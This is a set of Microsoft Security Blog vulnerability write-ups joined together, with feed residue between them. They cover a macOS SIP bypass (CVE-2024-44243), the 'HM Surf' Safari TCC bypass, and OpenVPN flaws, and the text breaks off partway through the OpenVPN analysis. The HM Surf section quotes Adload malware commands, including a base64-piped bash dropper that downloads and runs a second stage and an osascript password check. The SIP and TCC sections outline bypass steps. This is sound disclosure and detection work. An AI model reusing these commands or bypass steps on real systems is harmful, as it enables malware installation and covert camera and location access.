Microsoft Threat Intelligence discovered a new macOS vulnerability that could allow attackers to bypass Apple’s System Integrity Protection (SIP) in macOS by loading third party kernel extensions. SIP is a security technology that restricts the performance of operations that may compromise system integrity; thus, a SIP bypass affects the overall security of the operating system. Bypassing SIP could lead to serious consequences, such as increasing the potential for attackers and malware authors to successfully install rootkits, create persistent malware, bypass Transparency, Consent and Control (TCC), and expand the attack surface for additional techniques and exploits.

We shared these findings with Apple through Coordinated Vulnerability Disclosure (CVD) via Microsoft Security Vulnerability Research (MSVR). A fix for this vulnerability, now identified as CVE-2024-44243, was included in the security updates released by Apple on December 11, 2024. The findings were discovered in parallel between Microsoft and Mickey Jin, who also responsibly reported the vulnerability to Apple. Users should ensure their systems are up to date. We thank the Apple security team for their collaboration and efforts in fixing this issue.

In many cases, special entitlements are leveraged to bypass security mechanisms like SIP, making it essential to monitor specially entitled processes for anomalous behavior. This need for proactive monitoring is only further emphasized when a specially entitled process invokes kernel extensions from third party organizations without proper validation or reduced privileges, which an attacker could exploit to install a kernel driver (rootkit) in a way that could evade detection by security solutions. Following our previous SIP bypass blog posts (Shrootless, Migraine), our team set up mechanisms to proactively alert on potentially attacker-controlled child processes of special entitled processes, which enabled Microsoft Defender and our researcher team to ultimately identify CVE-2024-44243.

In this blog post, we detail the connection between entitlements and SIP and explain how CVE-2024-44243 could be used to bypass SIP security measures. This research also highlights some of the benefits and challenges of kernel-based monitoring. Prohibiting third party code to run in the kernel can increase macOS reliability, the tradeoff being that it reduces monitoring capabilities for security solutions. If SIP is bypassed, the entire operating system can no longer be considered reliable, and with reduced monitoring visibility, threat actors can tamper with any security solutions on the device to evade detection. As such, this research is being presented to the broader security community to underline the critical role of responsible disclosure and collaborative efforts in securing devices across platforms.

Understanding SIP and entitled processes

As previously covered in our previous SIP bypass blogposts (Shrootless, Migraine), SIP (also known as “rootless”) is a macOS mechanism that enforces several operating system protections against the root user, including the ability to:

  • Load arbitrary kernel drivers
  • Change non-volatile random-access memory (NVARM) variables
  • Get task ports for Apple-signed processes
  • Allow kernel debugging
  • Modify sensitive files that are a part of the operating system

One interesting fact about SIP is that bypassing just one of those restrictions is likely to lead to bypasses of all other SIP restrictions – for example:

  • SIP policy is controlled by NVRAM variables, so modifying NVRAM variables bypasses SIP.
  • Kernel code execution (either through kernel extensions or debugging) can change SIP since it is enforced at the kernel level.
  • Modifying sensitive files on the file system can bypass SIP, for instance, by modifying the list of allowed kernel extensions and then loading that kernel extension.

SIP bypasses have traditionally focused on special binaries with specific entitlements. As a reminder, entitlements are special capabilities a process might have and are a part of the digital signature of the process. Therefore, entitlements cannot be easily forged by attackers. In addition to the well-documented entitlements available for software developers, certain entitlements are reserved only for processes that have specific operating system functions, such as system updates, debugging capabilities, memory tracing, and security extensions. We refer to them as private entitlements, as their name would commonly start with a com.apple.private prefix. There are many of those special entitlements, most are not documented by Apple at all.

Our team has identified the criticality in monitoring anomalous behavior by those specially entitled processes, as in many cases special entitlements could be used for bypassing security mechanisms. For example:

EntitlementDescription
com.apple.rootless.installProcesses entitled with the com.apple.rootless.install entitlement can bypass SIP file system checks. Several examples that abuse that entitlement have been reported, including:
– Reported by Stefan Esser and presented at SyScan360, this vulnerability misused the fact that fsck_cs follows symbolic links and could therefore write to arbitrary file paths.
– CVE-2022-26712 – reported by Mickey Jin. The vulnerability abuses the SystemShoveService.xpc XPC service, which is entitled with the com.apple.rootless.install entitlement.

Note that this is not a complete list of vulnerabilities associated with that entitlement.
com.apple.rootless.install.heritableProcesses entitled with the com.apple.rootless.install.heritable inherit the com.apple.rootless.install entitlement to all their child processes. Notable examples include:
– CVE-2019-8561 – discovered by Trend Micro. The vulnerability leverages a Time-of-check-time-of-use (TOCTOU) issue in the system_installd binary.
– CVE-2020–9854 – reported by Ilias Morad, which exploited a specific installer script that was spawned by system_installd and allowed an arbitrary process execution from a command-line argument.
– CVE-2021-30892 – reported by Microsoft Defender, known as “Shrootless”. The vulnerability abuses Apple-signed package that includes shell script components and abuses the system_installd binary.
– CVE-2022-22583 – reported by Perception Point. This vulnerability is a variant on our previously reported Shrootless vulnerability and takes advantage of a the /tmp symbolic link used by system_installd.
– CVE-2023-32369 – reported by Microsoft Defender, known as “Migraine”. The exploit abuses the system migration daemon (migrationd ).

Note that this is not a complete list of vulnerabilities associated with that entitlement.

There are other entitlements that could be used for other types of vulnerabilities, such as the com.apple.private.tcc.allow entitlement, which could be used for TCC bypasses, which we also monitor. However, in this blog post we will focus on SIP-related entitlements only.

Due to the sensitive nature of the com.apple.rootless.install.heritable entitlement, it is evident that monitoring anomalous child processes of processes entitled with com.apple.rootless.install.heritable is important for security research.

Discovery of SIP bypasses through custom file systems

One of the processes entitled with the previously described com.apple.rootless.install.heritable entitlement is storagekitd, which is a daemon that handles disk state-keeping by the Storage Kit private framework.

Screenshot of code depicting storagekitd and its SIP-related entitlements
Figure 1. storagekitd and its SIP-related entitlements

As shown, storagekitd has many SIP bypassing capabilities, including the com.apple.rootless.install.heritable, which means all its child processes are of great interest.

Using advanced hunting query language, we can look for all child processes of the storagekitd daemon:

DeviceProcessEvents
| where InitiatingProcessFileName == "storagekitd"
    and FolderPath !startswith "/System"
    and FolderPath !startswith "/sbin"
    and FolderPath !startswith "/bin"
    and FolderPath !startswith "/usr"
| summarize by ProcessCommandLine

Interestingly, we found several processes, which we immediately investigated:

Example pathExplanation
/Library/Filesystems/iboysoft_NTFS.fs/Contents/Resources/newfs_ms_ntfsCustom NTFS implementation from iBoysoft.
/Library/Filesystems/tuxera_ntfs.fs/Contents/Resources/newfs_tuxera_ntfsCustom NTFS implementation from Tuxera.
/Library/Filesystems/ufsd_ExtFS.fs/Contents/Resources/fsck_ufsd_ExtFSCustom EXT file system implementation from Paragon.
/Library/Filesystems/ufsd_NTFS.fs/Contents/Resources/fsck_ufsd_NTFSCustom NTFS implementation from Paragon.
/Library/Filesystems/easeus_NTFS.fs/Contents/Resources/newfs_easeus_NTFSCustom NTFS implementation from EaseUS.

We therefore attempted to install those solutions. By overriding the binaries under the relevant bundle under /Library/Filesystems and triggering them with the Disk Utility app, we proved that we were able to bypass SIP protections, overriding the Apple kernel extensions exclusion list. Moreover, we have successfully been able to automate our process with the diskutil utility, which, similarly to the Disk Utility app, uses the Storage Kit private framework:

Screenshot of code depicting storagekitd leading to SIP being bypassed
Figure 2. SIP bypass done by triggering storagekitd

It’s important to note everything described in this blog post is a macOS vulnerability due to storagekitd’s ability to invoke arbitrary processes without proper validation or dropping privileges, rather than a vulnerability in each of those products.

Experimenting with custom file systems

Mounting filesystems on macOS involves the Disk Arbitration daemon (diskarbitrationd), which supports filesystems that are implemented in the kernel (APFS, HFS+) and those that are implemented in userspace. Filesystems implemented in userspace are known as User Filesystems (UserFS). macOS comes pre-shipped with several such filesystem implementations, each appears as a file system bundle (*.fs) under /System/Library/Filesystems and /Library/Filesystems.

Screenshot of code depicting custom filesystem bundles
Figure 3. Custom filesystem bundles

While the structure of file system bundles is not-well documented, the diskarbitrationd is fully open-source, which shows what properties are expected from such a bundle. The structure is as follows:

  • A dictionary of FSMediaTypes exists, in which the key is the file system formal name (or a designated GUID), and the value contains various content hints.
  • More importantly, the bundle information clearly specifies the binary file names and command line-arguments that will be used for specific operations, such as mounting, repairing, and probing.

As described by Csaba Fitzl of Kandji in POC2024, upon mounting, the disk utility consults a specialized daemon known as the Storage Kit daemon (storagekitd), which, in turn, uses the Disk Arbitration daemon (diskarbitrationd) to invoke the right mount process via posix_spawn. However, we noticed certain operations (such as “disk repair”) are directly invoked under storagekitd. Since an attacker that can run as root can drop a new file system bundle to /Library/Filesystems, they can later trigger storagekitd to spawn custom binaries, hence bypassing SIP.

Screenshot of code depicting the new file system registration, including the name and executables to be run
Figure 4. New file system registration that includes the name and the executables to be run
Screenshot depicting the Disk Utility recognizing the registered file system
Figure 5. Registered file system recognized by the Disk Utility

Triggering the erase operation on the newly created file system can bypass SIP protections as well.

Detecting the vulnerability with Microsoft Defender for Endpoint monitoring

System Integrity Protection (SIP) serves as a critical safeguard against malware, attackers, and other cybersecurity threats, establishing a fundamental layer of protection for macOS systems. Bypassing SIP impacts the entire operating system’s security and could lead to severe consequences, emphasizing the necessity for comprehensive security solutions that can detect anomalous behavior from specially entitled processes. The challenge of detecting such threats is compounded by the inherent limitations in kernel-level visibility on macOS, making it difficult for traditional security measures to spot and mitigate these sophisticated attacks.

As our research demonstrates, an attacker with the ability to run as root could have exploited CVE-2024-44243 by loading third party kernel extensions to bypass SIP. To address these challenges, Microsoft Defender Vulnerability Management quickly identifies and resolves CVE-2024-44243 and similar vulnerabilities while Microsoft Defender for Endpoint offers robust monitoring capabilities designed to detect and alert on anomalous behavior associated with specially entitled processes on macOS. Proactive monitoring for such anomalies is crucial to enable defenders to stay ahead of emerging threats and mitigate potential risks effectively. By leveraging these advanced detection mechanisms, organizations can gain greater visibility into activities that may indicate an attempt to exploit vulnerabilities that bypass SIP and other protection technologies across platforms.

Screenshot of code depicting a SIP bypass alert in Microsoft Defender for Endpoint
Figure 6. Microsoft Defender for Endpoint Potential System Integrity Protection bypass alert

This research underscores the importance of shared knowledge and collaborative efforts within the security community. We’d like to again thank Apple for their work in addressing this vulnerability, and Mickey Jin for responsibly disclosing the vulnerability in parallel with Microsoft. We believe that disseminating this information will not only foster responsible disclosure but also encourage collective action to fortify defenses against developing threats. By working together and leveraging the insights gained from these findings, we can better protect our systems and respond effectively to evolving security challenges.

Jonathan Bar Or

Microsoft Defender Research Team

References

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://x.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Analyzing CVE-2024-44243, a macOS System Integrity Protection bypass through kernel extensions appeared first on Microsoft Security Blog.

]]>
New macOS vulnerability, “HM Surf”, could lead to unauthorized data access http://approjects.co.za/?big=en-us/security/blog/2024/10/17/new-macos-vulnerability-hm-surf-could-lead-to-unauthorized-data-access/ Thu, 17 Oct 2024 16:00:00 +0000 http://approjects.co.za/?big=en-us/security/blog/?p=136092 Microsoft Threat Intelligence uncovered a macOS vulnerability that could potentially allow an attacker to bypass the operating system’s Transparency, Consent, and Control (TCC) technology and gain unauthorized access to a user’s protected data.

The post New macOS vulnerability, “HM Surf”, could lead to unauthorized data access appeared first on Microsoft Security Blog.

]]>
Microsoft Threat Intelligence uncovered a macOS vulnerability that could potentially allow an attacker to bypass the operating system’s Transparency, Consent, and Control (TCC) technology and gain unauthorized access to a user’s protected data. The vulnerability, which we refer to as “HM Surf”, involves removing the TCC protection for the Safari browser directory and modifying a configuration file in the said directory to gain access to the user’s data, including browsed pages, the device’s camera, microphone, and location, without the user’s consent.  

After discovering the bypass technique, we shared our findings with Apple through Coordinated Vulnerability Disclosure (CVD) via Microsoft Security Vulnerability Research (MSVR). Apple released a fix for this vulnerability, now identified as CVE-2024-44133, as part of security updates for macOS Sequoia, released on September 16, 2024. At present, only Safari uses the new protections afforded by TCC. Microsoft is currently collaborating with other major browser vendors to investigate the benefits of hardening local configuration files.

We encourage macOS users to apply these security updates as soon as possible. Behavior monitoring protections in Microsoft Defender for Endpoint has detected activity associated with Adload, a prevalent macOS threat family, potentially exploiting this vulnerability. Microsoft Defender for Endpoint detects and blocks CVE-2024-44133 exploitation, including anomalous modification of the Preferences file through HM Surf or other methods.

We initially described TCC technology and how we were able to bypass it in our powerdir vulnerability discovery. As a reminder, TCC is a technology that prevents apps from accessing users’ personal information, including services such as location services, camera, microphone, downloads directory, and others, without their prior consent and knowledge. Formally, the only legitimate way for an app to gain access to those services is by approving a popup through the user interface, or by approving per-app access in the operating system’s settings. In this blog post, we share details on how HM Surf can enable attackers to bypass TCC and access the said services without user consent. We also provide guidance for organizations to protect devices from successful exploitation.

Safari entitlements and TCC

Entitlements, as we shared in a past blog post, are privileges that macOS apps might have, and are digitally signed by Apple. Apple reserves some entitlements to their own applications, which are known as private entitlements. Such entitlements commonly start with the com.apple.private prefix.

When it comes to TCC, the com.apple.private.tcc.allow entitlement allows the entitled app to completely bypass TCC checks for services that are mentioned under the entitlement. Safari, the default browser in macOS, has very powerful TCC entitlements, including com.apple.private.tcc.allow:

A screenshot of the code for TCC entitlements and various information on Safari
Figure 1. TCC entitlements and various information on Safari

There are two important aspects here:

  1. Safari can freely access the address book (kTCCServiceAddressBook), camera (kTCCServiceCamera), microphone (kTCCServiceMicrophone), and more, completely bypassing TCC access checks for those services.
  2. Safari is compiled with flags=0x2000 (library-validation), which means all dynamically loaded libraries must be digitally signed by the same Team ID. This feature could be considered a part of Apple’s Hardened Runtime, and hardens the app against certain type of attacks such as code injection. The Hardened Runtime technology is in many aspects similar to the Windows process mitigation policies, and essentially means an attacker is going to have a very hard time running arbitrary code in the context of Safari.

By default, when one browses a website that requires access to the camera or the microphone, a TCC-like popup still appears, which means Safari maintains its own TCC policy. That makes sense, since Safari must maintain access records on a per-origin (website) basis:

A screenshot of the TCC-like popup by Safari for when requesting to access the camera
Figure 2. TCC-like popup by Safari

We discovered that Safari maintains its configuration in various files under ~/Library/Safari (the user’s home directory). That said directory contains several files of interest, including the following:

FilenameDescriptionRemarks
AutoFillCorrections.dbA SQLite database containing autocorrections information.Useful for information gathering, but not TCC-related.
Downloads.plistA configuration file containing metadata about downloads.Useful for information gathering, but not TCC-related.
History.dbA SQLite database containing the browsing history.Useful for information gathering, but not TCC-related.
PerSitePreferences.dbA SQLite database containing the per-site preferences. Also contains default TCC security preferences.TCC-related, as it contains the default behavior for TCC service access.
UserMediaPermissions.plistA configuration file containing the permissions per site.TCC-related, as it contains the TCC user choices per-origin.

Therefore:

  1. Reading arbitrary files from the directory allows attackers to gather extremely useful information (such as the user’s browsing history).
  2. Writing to the directory allows TCC bypasses, for instance, by overriding the PerSitePreferences.db.

Apple’s approach of protecting that directory with TCC is therefore very justified.

Exploitation

Similar to the exploit we developed for powerdir, we noticed that sensitive files exist under the user’s home directory. We concluded we could use a similar method to remove the protection for the ~/Library/Safari directory.

Our exploit involves the following steps:

  1. Change the home directory of the current user with the dscl utility, which does not require TCC access in Sonoma (At this point, the ~/Library/Safari directory is no longer TCC protected).
  2. Modify the sensitive files under the user’s real home directory (such as /Users/$USER/Library/Safari/PerSitePreferences.db).
  3. Change the home directory again so Safari uses the now modified files.
  4. Run Safari to open a webpage that takes a camera snapshot and trace device location.

In our exploit, we also reset the TCC permissions of the Terminal (using tccutil) for the sake of demonstration.

We noticed that PerSitePreferences.db is used only when a secure connection occurs (over HTTPS), but an attacker could host malicious JavaScript code over HTTPS.

The JavaScript code that takes the camera snapshot and retrieves location information is straightforward and is hosted here (the code does not include the exploit). The most important part that usually requires TCC camera access is:

A screenshot of JavaScript code to access the camera in a macOS device
Figure 3. Accessing the camera through JavaScript
A screenshot of the code within the PerSitePreferences.db file used in the exploit.
Figure 4. The contents of the PerSitePreferences.db file we used in our exploit show full access to camera, microphone, downloads, and geolocation.

We downloaded the snapshot in our demonstration, but in a real scenario, an attacker could do stealthy things, including:

  1. Host the snapshot somewhere to be downloaded later privately.
  2. Save an entire camera stream.
  3. Record microphone and stream it to another server or upload it.
  4. Get access to the device’s location.
  5. Start Safari in a very small window to not draw attention.

We called our exploit HM Surf in reference to the HM03 (Surf) Safari zone and recorded a complete video of our exploit. Note how TCC access for Camera is not permitted, as well as Safari-specific controls do not automatically allow Camera access:

Third-party browsers

Third-party browsers such as Google Chrome, Mozilla Firefox, or Microsoft Edge do not have the same private entitlements as Apple applications, which means that the said apps can’t bypass TCC checks.

A screenshot of the popup shown by Google Chrome to ask for TCC access to the microphone.
Figure 6. Google Chrome first asking TCC access to the microphone via a “true” TCC popup that works at the app level.

Therefore, when an end-user runs a third-party browser to use a TCC service (such as the camera, microphone, or location) for the first time, a TCC popup will appear and ask for access to the resource. By design, the access approval happens at the app level rather than at a per-origin (the combination of schema, host name, and port number) level. Once access is approved to an app, it’s then up to that app to maintain their own database of approved origins for privacy and safety.

Detecting new Adload behavior via behavioral monitoring

After discovering this new technique of bypassing TCC, we deployed behavior monitoring detection strategies to protect customers. In analyzing the intelligence gathered from the detection strategies, we observed a suspicious activity in a customer’s device: a process by the name of p running from the /private/tmp world-writable folder (SHA-256: 17e1b83089814128bc243315894f412026503c10b710c9c59d4aaf67bc209cb8) that anomalously modified the local user’s Chrome Preferences file.

Upon further examination, we discovered the parent process was running with the following command line:

/Users/<username>/Library/Application Support/.17066225541972342347/Services/com.BasicIndex.service/BasicIndex.service” -s 6600

The com.BasicIndex.service folder name is a fake macOS service attributed to Adload, a prevalent macOS threat family we have described in the past.

These are the behaviors we discovered:

TTPsDescription
T1082 – System Information DiscoveryRunning the command: sh -c “sw_vers -productVersion” To detect the current macOS version.
T1033 – System Owner/User DiscoveryRunning the command: /usr/bin/id -u <username> To get the user ID of the given username. The username was reducted for privacy reasons.
T1059.002 – Command and Scripting Interpreter: AppleScript T1059.004 – Command and Scripting Interpreter: Unix ShellRunning the command: /usr/bin/osascript -e ‘do shell script “touch ‘/tmp/GmaNi4v50ekNZSI'” user name “<username>” password <password> as string) with administrator privileges’ To get an extra verification the correct user’s password was collected.
T1068 – Exploitation for Privilege EscalationAdding the following URL to the Microphone and Camera approved lists in the local user’s Chrome Preferences file: hxxps://localhost:4444 This is potentially done as a means to bypass TCC.
T1140 – Deobfuscate/Decode Files or Information T1059.004 – Command and Scripting Interpreter: Unix Shell T1071.001 – Application Layer Protocol: Web Protocols T1222.002 – File and Directory Permissions Modification: Linux and Mac File and Directory Permissions ModificationRunning the following base64-obfuscated script: /bin/zsh -c “echo -e WFVNS2JXNnNTM3c9J3RtcD0iJChta3R<reduced for brievty> | base64 -D | /bin/bash” After base64-decoding and script de-obfuscation, it turns into: tmp=”$(mktemp /tmp/XXXXXXXX)”; curl –retry 5 -f “hxxp://api.inetprogress.com/plg?u=B2874734-0534-5274-9025-3EDB3F160B34” -o “${tmp}”; if [[ -s “${tmp}” ]]; then chmod 777 “${tmp}”; “${tmp}”; fi; rm “${tmp}” Which simply downloads a second stage script and runs it.

Since we weren’t able to observe the steps taken leading to the activity, we can’t fully determine if the Adload campaign is exploiting the HM surf vulnerability itself. Attackers using a similar method to deploy a prevalent threat raises the importance of having protection against attacks using this technique.

Microsoft Defender for Endpoint uses advanced behavioral analytics and machine learning to detect anomalous activities on a device and can detect this kind of malicious behavior, including anomalous modification of the Preferences file through HM Surf or other methods.

A screenshot of the Microsoft Defender for Endpoint alert preventing the anomalous modification to browser files.
Figure 7. Prevention of anomalous modifications to browser files. Note this is a generic detection and does not only fit Adload campaigns.

Hardening device security through vulnerability management and behavioral monitoring

Continuous research on vulnerabilities in security technologies like TCC in macOS devices is important to help ensure that user data is protected from unauthorized access. Software vendors are always in a tight race against malicious actors to discover vulnerabilities and address them before they are exploited for attacks. The discoveries and insights from our research, including vulnerabilities such as Migraine, powerdir, and Shrootless, enrich our protection technologies and solutions such as Microsoft Defender for Endpoint, which allows organizations to quickly discover and remediate vulnerabilities in their networks that are increasingly becoming heterogeneous.

In addition, Microsoft Defender for Endpoint uses advanced behavioral analytics and machine learning to detect anomalous activities on a device, such as creating spoofed home directories, a technique which was previously used in other vulnerabilities. In the example provided in the previous section, Microsoft Defender for Endpoint detects modifications to the Safari private directory, as well as private directories of third-party browsers, as suspicious. Extending the concept, Defender for Endpoint has similar detections for sensitive file access (including Safari-specific settings) by a non-Safari application.

Apple has also introduced new APIs for App Group Containers that make SIP (System Integrity Policy) that protect configuration files from being modified by an external attacker, resolving the vulnerability class. At present, only Safari uses the new protections afforded by TCC. Microsoft is currently collaborating with other major browser vendors to investigate the benefits of hardening local configuration files. While Chromium and Firefox is yet to adopt the new APIs, Chromium is moving towards using os_crypt which solves the attack in a different way.

Microsoft continues to monitor the threat landscape to discover new vulnerabilities and attacker techniques that could affect macOS and other non-Windows devices. As cross-platform threats continue to increase, a coordinated response to vulnerability discoveries and other forms of threat intelligence sharing will help enrich protection technologies that secure users’ computing experience regardless of the platform or device they’re using.

References

Jonathan Bar Or
Microsoft Threat Intelligence

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://twitter.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post New macOS vulnerability, “HM Surf”, could lead to unauthorized data access appeared first on Microsoft Security Blog.

]]>
Chained for attack: OpenVPN vulnerabilities discovered leading to RCE and LPE http://approjects.co.za/?big=en-us/security/blog/2024/08/08/chained-for-attack-openvpn-vulnerabilities-discovered-leading-to-rce-and-lpe/ Thu, 08 Aug 2024 18:00:00 +0000 http://approjects.co.za/?big=en-us/security/blog/?p=135404 Microsoft researchers found multiple vulnerabilities in OpenVPN that could lead to an attack chain allowing remote code execution and local privilege escalation. This attack chain could enable attackers to gain full control over targeted endpoints, potentially resulting in data breaches, system compromise, and unauthorized access to sensitive information.

The post Chained for attack: OpenVPN vulnerabilities discovered leading to RCE and LPE appeared first on Microsoft Security Blog.

]]>
Microsoft researchers recently identified multiple medium severity vulnerabilities in OpenVPN, an open-source project with binaries integrated into routers, firmware, PCs, mobile devices, and many other smart devices worldwide, numbering in the millions. Attackers could chain and remotely exploit some of the discovered vulnerabilities to achieve an attack chain consisting of remote code execution (RCE) and local privilege escalation (LPE). This attack chain could enable attackers to gain full control over targeted endpoints, potentially resulting in data breaches, system compromise, and unauthorized access to sensitive information. Exploiting these vulnerabilities, however, necessitates user authentication and a deep understanding of OpenVPN’s inner workings, alongside intermediate knowledge of the operating systems. Today, we presented this research and demonstrated the discovered attack chain in our session at Black Hat USA 2024.

OpenVPN is widely used by thousands of companies spanning various industries across major platforms such as Windows, iOS, macOS, Android, and BSD. As such, exploitation of the discovered vulnerabilities, which affect all versions of OpenVPN prior to version 2.6.10 (and 2.5.10), could put endpoints and enterprises at significant risk of attack.

We reported the discovery to OpenVPN through Coordinated Vulnerability Disclosure (CVD) via Microsoft Security Vulnerability Research (MSVR) in March 2024 and worked closely with OpenVPN to ensure that the vulnerabilities are patched. Information on the security fixes released by OpenVPN to address these vulnerabilities can be found here: OpenVPN 2.6.10. We strongly urge OpenVPN users to apply the latest security updates as soon as possible. We also thank OpenVPN for their collaboration and recognizing the urgency in addressing these vulnerabilities.

Below is a list of the discovered vulnerabilities discussed in this blog:

CVE IDOpenVPN componentImpactAffected platform
CVE-2024-27459openvpnserv                             Denial of service (DoS), local privilege escalation (LPE)Windows
CVE-2024-24974openvpnserv                             Unauthorized access Windows
CVE-2024-27903openvpnservRemote code execution (RCE)Windows
Local privilege escalation (LPE), data manipulationAndroid, iOS, macOS, BSD
CVE-2024-1305Windows TAP driver Denial of service (DoS) Windows

In this blog post, we detail our analysis of the discovered vulnerabilities and the impact of exploitation. In addition to patching, we provide guidance to mitigate and detect threats attempting to exploit these vulnerabilities. This research emphasizes the need for responsible disclosure and collaboration among the security community to defend devices across platforms and build better protection for all, spanning the entire user-device ecosystem. The discovery of these vulnerabilities further highlights the critical importance of ensuring the security of enterprise and endpoint systems and underscores the need for continuous monitoring and protection of these environments.

What is OpenVPN?

OpenVPN is a virtual private network (VPN) system that creates a private and secure point-to-point or site-to-site connection between networks. The OpenVPN open-source project is widely popular across the world, including the United States, India, France, Brazil, the United Kingdom, and Germany, as well as industries spanning the information technology, financial services, telecommunications, and computer software sectors. This project supports different major platforms and is integrated into millions of devices globally.

OpenVPN is also the name of the tunneling protocol it uses, which employs the Secure Socket Layer (SSL) encryption protocol to ensure that data shared over the internet remains private, using AES-256 encryption. Since the source code is available for audit, vulnerabilities can be easily identified and fixed.

OpenVPN analysis

We discovered the vulnerabilities while examining the OpenVPN open-source project to enhance enterprise security standards. During this research, we checked two other popular VPN solutions and found that at the time they were impacted by a vulnerability (CVE-2024-1305). Following this discovery, we started hunting for and uncovered additional vulnerable drivers with the same issue and decided to investigate open-source VPN projects. Upon confirming that the same vulnerability was located in the OpenVPN open-source repository, our research then focused on examining the architecture and security model of the OpenVPN project for Windows systems.

OpenVPN architecture

OpenVPN server client architecture

OpenVPN is a sophisticated VPN system meticulously engineered to establish secure point-to-point or site-to-site connections. It supports both routed and bridged configurations, as well as remote access capabilities, making it a versatile choice for various networking needs. OpenVPN comprises both client and server applications, ensuring a comprehensive solution for secure communication.

With OpenVPN, peers can authenticate each other through multiple methods, including pre-shared secret keys, certificates, or username/password combinations. In multi-client server environments, the server can generate and issue an individual authentication certificate for each client, leveraging robust digital signatures and a trusted certificate authority. This ensures an elevated level of security and integrity in the authentication process, enhancing the overall reliability of the VPN connection. 

Diagram of OpenVPN's client server depicting the connection between the Gateway Client and the Access Server
Figure 1. OpenVPN client server model

Client-side architecture

The client-side architecture is where we discovered the additional three vulnerabilities (CVE-2024-27459, CVE-2024-24974, and CVE-2024-27903):

OpenVPN’s client architecture can be summarized in the following simplified diagram:

Diagram depicting the loaded plugin with the openvpn.exe usermode process connected by a named pope to the openvpnserv.exe system service within the client. The client is connected to the server via a tunnel.
Figure 2. OpenVPN client architecture with loaded plugin.dll

openvpnserv.exe and openvpn.exe

The system service launches elevated commands on behalf of the user, handling tasks such as adding or deleting DNS configurations, IP addresses, and routes, and enabling Dynamic Host Configuration Protocol (DHCP). These commands are received from the openvpn.exe process through a named pipe created for these two entities, such as “openvpn/service_XXX” where XXX is the thread ID (TID) that is being passed to the newly created process as a command line argument.

The launched commands arrive in the form of a binary structure that contains the relevant information for the specific command, with the structure being validated and only then launching the appropriate command. The below figure displays an example of the structure that contains information for adding/deleting DNS configuration:

Screenshot of code depicting the DNS configuration managing structure
Figure 3. OpenVPN DNS configuration managing structure

Additionally, openvpnserv.exe serves as the management unit, spawning openvpn.exe processes upon requests from different users on the machine. This can be done automatically using the OpenVPN GUI or by sending specifically crafted requests. Communication for this process occurs through a second named pipe, such as “openvpn/service”.

Openvpn.exe is the user mode process being spawned on behalf of the client. When openvpn.exe starts, it receives a path for a configuration file (as a command line argument). The configuration file that’s provided holds different information.

A lot of fields can be managed in configuration files, such as:

  1. Tunnel options
  2. Server mode options
  3. Client mode options

Plugin mechanism in openvpn.exe

Another mechanism of interest for us is the plugin mechanism in openvpn.exe, which can extend the functionality to add additional logic, such as authentication plugins to bring authentication against Lightweight Directory Access Protocol (LDAP) or Radius or other Pluggable Authentication Module
(PAM) backends. Some of the existing plugins are:

  1. Radiusplugin – Radius authentication support for open OpenVPN.
  2. Eurephia – Authentication and access control plugin for OpenVPN.
  3. Openvpn_defer_auth – OpenVPN plugin to perform deferred authentication requests.

The plugin mechanism fits into the earlier diagram, as shown in Figure 2.

The plugin is loaded as a directive in the configuration file, which looks like:

Screenshot of code depicting the client directive to load the plugin
Figure 4. OpenVPN client directive to load plugin

Furthermore, the number of callbacks defined in the plugin launch on behalf of the loading process (openvpn.exe), such as:

  1. openvpn_plugin_func_v1 – This function is called by OpenVPN each time the OpenVPN reaches a point where plugin calls should happen.
  2. openvpn_plugin_{open, func}_v3() – Defines the version of the v3 plugin argument.

OpenVPN security model

As previously mentioned, we discovered four vulnerabilities on the client side of OpenVPN’s architecture.

As described before, openvpnserv.exe (SYSTEM service) spawns the openvpn.exe process as a result of the request from the user. Furthermore, the spawned process runs in the context of the user who requested to create the new process, which is achieved through named pipe impersonation, as displayed in the below image:

Screenshot of code depicting named pipe impersonation
Figure 5. Named pipe impersonation

The ImpersonateNamedPipeClient function impersonates a named pipe client application.

Furthermore, to prevent unwanted behavior, specific EXPLICIT_ACCESS must be granted for any new process:

Screenshot of code depicting explicit access being granded for OVPN DACL
Figure 6. Explicit access for OVPN DACL

This explicit access, in addition to the earlier described “elevated commands” launched by openvpnserv.exe on request from the openvpn.exe process, and other comprehensive inspection of the passed arguments  ensure that malicious behavior cannot be launched in the name of the impersonated user.

Vulnerability analysis

CVE-2024-1305    

We identified a vulnerability in the “tap-windows6” project that involves developing the Terminal Access Point (TAP) adapter used by OpenVPN. In the project’s src folder, the device.c file contains the code for the TAP device object and its initialization.

In the device.c file, the CreateTapDevice method initializes a dispatch table object with callbacks for methods managing various Input/Output Controls (IOCTLs) for the device. One of these methods is TapDeviceWrite, which handles the write IOCTL.

Screenshot of code depicting where the wild kernel overflow vulnerability is located
Figure 7. Wild kernel overflow vulnerability location

The TapDeviceWrite method performs several operations and eventually calls TapSharedSendPacket. This method, in turn, calls NdisAllocateNetBufferAndNetBufferLists twice. In one scenario, it calls this function with the fullLength parameter, defined as follows:

Screenshot of code depicting the integer overflow
Figure 8. Integer overflow

Both PacketLength and PrefixLength are parameters passed from the TapDeviceWrite call and, therefore, attacker controlled. If these values are large enough, their sum (fullLength) can overflow (a 32-bit unsigned integer). This overflow results in the allocation of a smaller-than-expected memory size, which subsequently causes a memory overflow issue.

CVE-2024-27459  

The second vulnerability that we discovered resided in the communication mechanism between the openvpn.exe process and the openvpnserv.exe service. As described earlier, both of which communicate through a named pipe:

Screenshot of code depicting the size being read from a named pipe
Figure 9. Reading size from a named pipe

The openvpnserv.exe service will read the message size in an infinite loop from the openvpn.exe process and then handle the message received by calling the HandleMessage method. The HandleMessage method reads the size provided by the infinite loop and casts the read bytes into the relevant type accordingly:

Screenshot of code depicting the stack overflow vulnerability location
